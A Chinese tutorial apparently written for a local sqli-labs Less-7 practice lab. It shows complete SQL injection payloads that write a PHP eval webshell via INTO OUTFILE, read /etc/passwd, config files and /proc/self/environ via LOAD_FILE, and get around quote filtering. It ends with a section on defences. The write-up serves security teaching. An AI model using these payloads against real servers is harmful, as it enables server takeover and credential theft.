SQL注入文件读写实战:从数据库查询到系统入侵的攻防解析
1. 从“查询”到“控制”:理解SQL注入文件读写的本质
很多刚接触Web安全的朋友,对SQL注入的理解可能还停留在“拖库”上,也就是利用注入点获取数据库里的用户名、密码、邮箱这些敏感信息。这确实是SQL注入最常见、最直接的危害。但今天我们要聊的,是SQL注入攻击中一个更具威胁性的高级利用方式:利用数据库的文件读写功能,直接操作服务器文件系统。
想象一下,你发现了一个网站的搜索框存在注入漏洞,原本你只能看到数据库返回的搜索结果。但如果这个数据库(比如MySQL)运行在特定的配置和权限下,你就有可能通过注入的SQL语句,让数据库服务器去读取它本地的任意文件(比如网站的配置文件、系统密码文件),甚至将查询到的数据写入服务器上的一个文件中。这意味着什么?意味着攻击者可能从“数据窃取者”升级为“系统入侵者”,直接拿到服务器的控制权。这不再是简单的数据泄露,而是系统沦陷的前奏。
我们这次要实战演练的靶场,是著名的sqli-labs第7关(Less-7)。这一关被设计成一个“导出文件”的注入点,核心目标就是利用SELECT ... INTO OUTFILE语句,将我们构造的恶意内容写入服务器文件。这不仅仅是CTF比赛中的常客,更是真实渗透测试中,将SQL注入漏洞的危害最大化、获取WebShell的关键一步。通过这一关,你将彻底明白,为什么一个看似普通的查询漏洞,最终能导致整个服务器被拿下。我会带你从环境配置、原理剖析,一直走到完整的利用步骤,并附上关键的截图,确保你能亲手复现整个过程。
2. 环境搭建与核心原理:为什么能读写文件?
在动手之前,我们必须把“为什么能这样做”搞清楚。盲目操作只会让你知其然不知其所以然。
2.1 靶场环境与特殊配置
sqli-labsLess-7这一关的页面提示是“Use outfile......”,这已经明示了本关的考点。为了成功利用文件写入功能,你的本地实验环境必须满足几个关键条件,这些条件也模拟了现实中那些容易被成功利用的服务器配置:
- 数据库用户的高权限:执行
SELECT ... INTO OUTFILE或LOAD_FILE()函数,需要数据库用户拥有FILE权限。在MySQL中,FILE权限是一个全局权限,允许用户读取服务器主机上任何可读的文件,以及向任何可写的目录写入文件。通常,只有root用户或管理员才会被授予此权限。在实战中,如果发现应用使用的数据库连接账户拥有FILE权限,那危险系数就大大增加了。 secure_file_priv系统变量的设置:这是MySQL中一个至关重要的安全配置。它限制了文件读写的目录。- 如果其值为
NULL(MySQL 5.5.53版本后的默认值),则禁止任何文件的导入导出操作。 - 如果其值为一个目录路径(如
/var/lib/mysql-files/),则只允许在该目录下进行文件读写。 - 如果其值为空字符串
'',则不限制文件读写的目录(这是最危险的状态)。 为了让Less-7靶场能够被成功利用,我们通常需要将secure_file_priv设置为空。你可以在MySQL命令行中执行SHOW VARIABLES LIKE ‘secure_file_priv’;来查看当前设置。
- 如果其值为
- Web应用对单引号的处理:Less-7这一关的注入点通常涉及对用户输入的单引号进行了某种“转义”或“过滤”,但过滤不彻底,导致我们仍然可以“逃逸”出来。常见的套路是使用了
mysql_real_escape_string()等函数转义了单引号,但开发者可能错误地认为这样就安全了,却没有处理好其他细节(比如闭合方式),这为我们留下了利用空间。
注意:在你的本地测试环境(如使用XAMPP、PHPStudy等集成环境)中修改
secure_file_priv时,务必通过修改MySQL配置文件(如my.ini或my.cnf)并重启MySQL服务来实现。直接在会话中SET这个变量是无效的。找到配置文件,在[mysqld]段落下添加一行secure_file_priv='',然后重启服务。
2.2 核心武器:INTO OUTFILE与LOAD_FILE()
MySQL提供了两个用于文件操作的关键SQL语句/函数,它们是我们进行文件读写的“武器库”。
SELECT ... INTO OUTFILE: 这是写入文件的核心语句。它的标准语法是:SELECT ‘你要写入的内容’ INTO OUTFILE ‘/绝对/路径/文件名’执行这条语句,MySQL会以数据库运行用户的身份,在指定的绝对路径下创建一个新文件,并将
SELECT查询的结果写入该文件。这里有几个致命的关键点:- 文件必须不存在:
INTO OUTFILE不能覆盖已存在的文件。如果路径下同名文件已存在,语句会执行失败。这要求我们在实战中需要找一个Web目录下不存在的文件名。 - 绝对路径是必须的:你不能使用相对路径。你必须知道Web目录在服务器上的绝对路径(如
/var/www/html/)。 - 内容完全可控:
SELECT后面的内容可以是任何我们通过注入拼接进去的字符串,这意味着我们可以写入一个完整的PHP Webshell。
- 文件必须不存在:
LOAD_FILE(): 这是读取文件的函数。它接受一个文件路径作为参数,并返回该文件的内容。语法很简单:SELECT LOAD_FILE(‘/etc/passwd’);如果当前数据库用户有
FILE权限,且文件可读,这条语句就会返回/etc/passwd文件的内容。在渗透测试中,这常被用来读取系统敏感文件(如/etc/passwd,/proc/self/environ)、Web应用配置文件(如config.php,.env)等,从而获取更多信息(如数据库密码、API密钥)来扩大战果。
为什么文件读写危害极大?假设我们通过注入,成功执行了这样一条语句:
SELECT ‘<?php @eval($_POST[“cmd”]);?>’ INTO OUTFILE ‘/var/www/html/shell.php’那么,服务器Web根目录下就会生成一个名为shell.php的文件。任何人访问http://target.com/shell.php,并且通过POST传递一个cmd参数(例如cmd=system(‘whoami’);),服务器就会执行对应的系统命令。攻击者就此获得了一个远程命令执行的后门,服务器完全失守。
3. Less-7关卡深度剖析与注入点探测
了解了原理,我们正式进入sqli-labsLess-7的实战。这一关的界面通常很简单,可能只有一个输入框。我们的第一步永远是判断注入点类型和闭合方式。
3.1 判断闭合方式与过滤规则
Less-7的标题“Dump into Outfile”和提示都指向文件导出,所以注入点很可能在一条SELECT语句的INTO OUTFILE部分附近。但我们需要先找到原始的SQL语句是如何拼接的。
基础探测:首先尝试正常的输入,比如一个数字
1,观察回显。然后尝试经典的探测Payload:1‘(输入一个单引号)1“(输入一个双引号)1‘)(单引号加括号)1‘))(单引号加两个括号)
观察错误与回显:在Less-7中,你可能会发现输入
1‘后,页面返回了错误信息,或者直接变成了一个空白页、报错页。而输入1‘)或1‘))时,页面可能恢复了正常显示(显示You are in.... Use outfile......)。这是一个关键信号。闭合方式推断:通过反复测试,我们可以推断出原SQL语句的闭合结构。对于Less-7,常见的闭合方式是
‘))。也就是说,源代码中的SQL语句可能类似于:$sql = “SELECT * FROM users WHERE id=(('“ . $_GET[‘id’] . “‘)) LIMIT 0,1”;当我们输入
1‘))时,拼接后的语句变成了:SELECT * FROM users WHERE id=(('1‘))')) LIMIT 0,1这样,我们输入的单引号先闭合了源码中的第二个单引号,然后我们用两个右括号
))闭合了id=((,最后我们还需要注释掉后面多余的字符。所以,一个成功的探测Payload可能是:1‘))--+。--+是MySQL中的单行注释(+在URL中代表空格),用于注释掉后面多余的‘)) LIMIT 0,1,保证语法正确。验证注入:使用
and 1=1和and 1=2来验证。构造Payload:1‘)) and 1=1 --+(页面应正常)1‘)) and 1=2 --+(页面应异常,如空白或错误) 如果符合预期,则确认存在基于布尔逻辑的SQL注入漏洞,且闭合方式为‘))。
3.2 确认文件写入权限与路径
在尝试写入之前,我们必须先确认两个事:当前用户是否有FILE权限,以及我们知道Web目录的绝对路径。
查询
FILE权限:我们可以通过查询mysql.user表或使用current_user()函数结合权限判断来确认。一个常用的Payload是:1‘)) and (select count(*) from mysql.user where user=current_user() and file_priv=‘Y’)>0 --+如果页面返回正常(
and后的条件为真),说明当前用户拥有FILE权限。获取Web绝对路径:这是文件写入成功最关键的一步。如果不知道路径,
INTO OUTFILE就无从写起。有几种常见方法:- 利用数据库报错信息:有时错误的SQL语句会暴露出文件的绝对路径。可以尝试故意构造语法错误,例如:
1‘)) and extractvalue(1, concat(0x7e, (select @@basedir))) --+。@@basedir是MySQL的安装目录,Web目录通常在其附近或相对固定(如/var/www/html)。 - 利用
LOAD_FILE()读取可能包含路径的文件:例如,在Apache服务器上,可以尝试读取/proc/self/cwd/../htdocs/index.php或环境变量文件。但更通用的是,读取Web应用自身的错误日志或配置文件。不过Less-7靶场通常需要你已知路径,或者路径是默认的。对于常见的PHP集成环境(如XAMPP安装在C盘),Web路径可能是C:/xampp/htdocs/sqli-labs/。在Linux测试环境下,常用路径是/var/www/html/sqli-labs/。 - 基于已知信息的猜测:在CTF或内部测试中,路径可能是常识。例如,
sqli-labs靶场本身就在Web目录下,我们可以假设路径为/var/www/html/sqli-labs/。
- 利用数据库报错信息:有时错误的SQL语句会暴露出文件的绝对路径。可以尝试故意构造语法错误,例如:
实操心得:在真实渗透测试中,获取Web绝对路径往往是最耗时、最需要技巧的环节。除了上述方法,还可以结合其他漏洞(如目录遍历、SSRF)、框架特性(如Laravel的
php artisan route:list可能暴露路径)、或者通过读取/proc/self/environ(存储进程环境变量)来寻找DOCUMENT_ROOT。在Less-7中,我们通常直接使用靶场预设的或我们本地环境已知的路径。
4. 构造利用链:写入WebShell实战步骤
假设我们已经确认:闭合方式为‘)),拥有FILE权限,并且知道Web绝对路径是/var/www/html/sqli-labs/。现在,我们来完成最关键的步骤——写入一个PHP Webshell。
4.1 构造文件写入Payload
我们要写入一个最简单的PHP一句话木马:<?php @eval($_POST[‘cmd’]);?>。我们需要将这段代码作为字符串,通过SELECT查询,写入到Web目录下的一个文件中。
构造最终的注入Payload如下:
1‘)) union select 1, ‘<?php @eval($_POST[“cmd”]);?>‘, 3 into outfile ‘/var/www/html/sqli-labs/shell.php‘--+让我们拆解这个Payload:
1‘)): 用于闭合原始SQL语句中的id=(('‘部分。union select 1, ‘<?php ... ?>‘, 3: 这是一个UNION查询。原始查询可能返回三列(可以通过order by测出),我们需要让UNION前后的列数一致。这里我们假设就是3列。我们将PHP代码放在第二列的位置(也可以是第一列或第三列,只要对应列的数据类型是字符串或能兼容即可)。1和3是占位数据。into outfile ‘/var/www/html/sqli-labs/shell.php‘: 这是核心,指定将UNION SELECT的结果写入到Web目录下的shell.php文件中。--+: 注释掉原始查询中剩下的‘)) LIMIT 0,1等部分,保证整个语句语法正确。
重要细节:
- 文件分隔符:在Windows系统上,文件路径应使用
/或\\,如C:/xampp/htdocs/shell.php。在Linux/Unix上,使用/。 - 字符串中的引号:我们的PHP代码里包含了双引号
“。在SQL语句中,字符串本身是由单引号引起来的。如果字符串内部也包含单引号,需要进行转义。但这里我们内部用的是双引号,所以没有冲突。如果必须用单引号,则需要写成\‘。 - URL编码:在通过浏览器URL传递这个Payload时,空格、引号、井号等特殊字符需要被URL编码。
空格编码为%20或+,单引号‘编码为%27,井号#编码为%23(如果使用#注释的话)。--+中的+本身就代表空格。所以实际在浏览器地址栏输入的可能是:
你需要将其中的空格和引号进行编码。一个更稳妥的方式是使用Burp Suite等工具直接发送原始HTTP请求包,避免浏览器自动编码带来的问题。http://localhost/sqli-labs/Less-7/?id=1‘)) union select 1, ‘<?php @eval($_POST[“cmd”]);?>‘, 3 into outfile ‘/var/www/html/sqli-labs/shell.php‘--+
4.2 执行与结果验证
将构造好的Payload提交给Less-7的漏洞页面(通常是?id=参数)。
执行写入:提交后,如果页面没有报错,而是正常显示了
UNION SELECT中第一列1的内容(或者是一个空白页,但状态码是200),这很可能意味着写入成功了。如果报错(如Can‘t create/write to file),则需要检查路径是否正确、目录是否可写、文件是否已存在。访问验证:在浏览器中访问你试图写入的文件,例如
http://localhost/sqli-labs/shell.php。- 如果页面一片空白(没有错误),那么大概率是成功了。因为我们的
shell.php代码只是定义了函数,没有直接输出内容。 - 为了进一步验证,我们需要使用工具来连接这个WebShell。最常用的是中国菜刀或**AntSword(蚁剑)**这类WebShell管理工具。以蚁剑为例:
- 在蚁剑中添加一个数据,URL填写
http://localhost/sqli-labs/shell.php。 - 连接密码填写我们写在代码中的
cmd(即POST参数名)。 - 编码器、请求头等通常可以默认。
- 点击连接,如果成功,蚁剑会列出服务器上的目录和文件,这证明WebShell已成功写入并执行。
- 在蚁剑中添加一个数据,URL填写
(此处应为蚁剑成功连接后显示服务器目录的截图)
- 如果页面一片空白(没有错误),那么大概率是成功了。因为我们的
常见失败原因与排查:
- 权限不足:MySQL进程用户(如
mysql或nobody)对目标目录(/var/www/html/sqli-labs/)没有写权限。你需要检查目录权限(ls -la /var/www/html/),确保该目录对MySQL用户可写,或者尝试写入到/tmp目录(通常全局可写)再尝试移动(但这需要其他漏洞配合)。 secure_file_priv限制:这是最常见的错误。务必确认MySQL的secure_file_priv变量为空(‘’)。在MySQL中执行SHOW VARIABLES LIKE ‘secure_file_priv’;查看。- 文件已存在:
INTO OUTFILE不能覆盖文件。尝试换一个不存在的文件名,如shell123.php。 - 路径错误:Web绝对路径不正确。尝试通过读取其他文件(如
/etc/passwd)来确认当前用户权限,并重新推断Web路径。也可以尝试写入/tmp/test.txt来测试文件写入功能是否完全正常。 - 引号转义:如果应用层对输入中的单引号进行了转义(在前面加反斜杠
\‘),我们的Payload就会失效。这时需要尝试宽字节注入或其他绕过技巧。Less-7有时就是考察这个,但基础解法通常假设没有这种过滤。
- 权限不足:MySQL进程用户(如
5. 拓展利用:文件读取与信息收集
在成功写入WebShell之前或之后,文件读取功能LOAD_FILE()是一个强大的信息收集工具。它不需要INTO OUTFILE那样苛刻的“文件不存在”条件,只要能读就行。
5.1 利用LOAD_FILE()读取敏感文件
假设闭合方式依然是‘)),我们可以构造Payload来读取系统文件:
读取Linux系统用户列表:
1‘)) union select 1, load_file(‘/etc/passwd‘), 3--+如果成功,页面会显示
/etc/passwd文件的内容,你可以看到系统上的所有用户账户。读取Web应用配置文件:这是获取数据库凭证、进一步渗透的关键。常见的配置文件路径有:
config.phpwp-config.php(WordPress)settings.php(Drupal).env(Laravel, 通常在上层目录)WEB-INF/web.xml(Java) 你需要根据目标Web应用的类型和路径猜测。例如,读取本靶场可能的配置文件:
1‘)) union select 1, load_file(‘/var/www/html/sqli-labs/config.inc.php‘), 3--+如果成功,你可能会直接看到数据库的连接密码。
读取MySQL配置文件:
/etc/mysql/my.cnf或~/.my.cnf,可能包含数据库凭证。读取进程环境变量(Linux特有):
/proc/self/environ文件包含了当前Web服务进程(如Apache, php-fpm)的所有环境变量,其中极有可能包含DOCUMENT_ROOT(Web根目录)、数据库连接信息(如果通过环境变量配置)等黄金信息。1‘)) union select 1, load_file(‘/proc/self/environ‘), 3--+这个文件的内容通常是以空字符分隔的键值对,在网页显示可能是一长串,需要仔细查看。
5.2 读取过程中的编码与绕过技巧
直接读取文件时,可能会遇到一些问题:
文件内容包含特殊字符:如果文件内容包含HTML标签或特殊字符,可能会破坏页面显示,甚至被浏览器解释。这时,可以将读取的内容进行十六进制编码后再输出。MySQL的
hex()函数可以做到:1‘)) union select 1, hex(load_file(‘/etc/passwd‘)), 3--+执行后,页面上会显示一长串十六进制数字。你可以将其复制出来,使用在线工具或Python的
binascii.unhexlify进行解码,得到原始内容。绕过单引号过滤:如果应用过滤了单引号,导致
load_file(‘/etc/passwd‘)中的引号被转义,我们可以使用十六进制字符串或char()函数来绕过。- 十六进制表示路径:
/etc/passwd的十六进制是0x2F6574632F706173737764。1‘)) union select 1, load_file(0x2F6574632F706173737764), 3--+ - 使用
char()函数拼接路径:char(47,101,116,99,47,112,97,115,115,119,100)对应/etc/passwd的ASCII码。1‘)) union select 1, load_file(char(47,101,116,99,47,112,97,115,115,119,100)), 3--+
这两种方式都不需要显式的引号,可以有效绕过对引号的过滤。
- 十六进制表示路径:
6. 防御之道:如何避免成为“跳板”
通过Less-7的实战,我们深刻体会到了SQL注入文件读写功能的破坏力。那么,从开发者和运维的角度,应该如何构建防线,避免自己的数据库成为攻击者通往服务器的“跳板”呢?
最小权限原则:这是最根本、最有效的措施。应用程序连接数据库的账户,绝对不应该拥有
FILE权限,甚至不应该拥有GRANT、SHUTDOWN等高级权限。应该创建一个仅对业务所需的具体数据库、具体表拥有SELECT、INSERT、UPDATE、DELETE权限的专用账户。在MySQL中,创建用户时就要明确指定权限范围。CREATE USER ‘app_user‘@‘localhost‘ IDENTIFIED BY ‘StrongPassword!‘; GRANT SELECT, INSERT, UPDATE, DELETE ON `myappdb`.* TO ‘app_user‘@‘localhost‘; FLUSH PRIVILEGES;安全配置MySQL:
- 设置
secure_file_priv:在生产环境中,务必在MySQL配置文件(my.cnf)中将secure_file_priv设置为一个非空、非MySQL用户主目录的特定安全目录,或者直接设置为NULL(完全禁用)。这是防止任意文件读写的铁闸。[mysqld] secure_file_priv=/var/lib/mysql-files/ - 禁用
LOAD_FILE()与INTO OUTFILE:除了通过secure_file_priv限制,也可以考虑通过编译选项或安全插件来彻底禁用这些高危功能,但对于需要合法使用这些功能的场景(如数据导出)则不适用。
- 设置
彻底的输入验证与参数化查询:防止SQL注入是第一道防线。永远不要拼接用户输入到SQL语句中。使用参数化查询(Prepared Statements)或存储过程。以PHP的PDO为例:
$stmt = $pdo->prepare(“SELECT * FROM users WHERE id = :id”); $stmt->execute([‘id‘ => $user_input]);参数化查询会将用户输入的数据始终视为“数据”,而非“代码”,从根本上杜绝了注入的可能。
Web目录权限控制:确保Web目录(如
/var/www/html)的文件所有权和权限设置得当。让Web服务器进程用户(如www-data)只有必要的读和执行权限,而MySQL进程用户(mysql)不应该对Web目录有写权限。这样即使FILE权限配置失误,攻击者也无法在Web目录下创建文件。纵深防御与监控:
- Web应用防火墙(WAF):部署WAF可以拦截常见的SQL注入攻击Payload,包括那些包含
INTO OUTFILE、LOAD_FILE、0x十六进制编码等特征的请求。 - 数据库审计与日志:开启MySQL的通用查询日志或慢查询日志,监控异常的文件操作语句。任何包含
INTO OUTFILE或LOAD_FILE的查询都应当引起高度警觉。 - 文件系统监控:使用入侵检测系统(如AIDE, Tripwire)或监控工具,对Web目录下突然出现的新的
.php、.jsp等可执行文件进行告警。
- Web应用防火墙(WAF):部署WAF可以拦截常见的SQL注入攻击Payload,包括那些包含
文件读写型SQL注入将数据库漏洞的危害从数据层延伸到了系统层,是Web安全中需要重点防范的高危场景。通过sqli-labsLess-7的动手实践,我们不仅掌握了一种强大的攻击技术,更重要的是理解了其背后的原理和赖以生存的环境条件,从而能够更有针对性地去加固我们的系统。记住,安全是一个持续的过程,永远没有一劳永逸的解决方案。
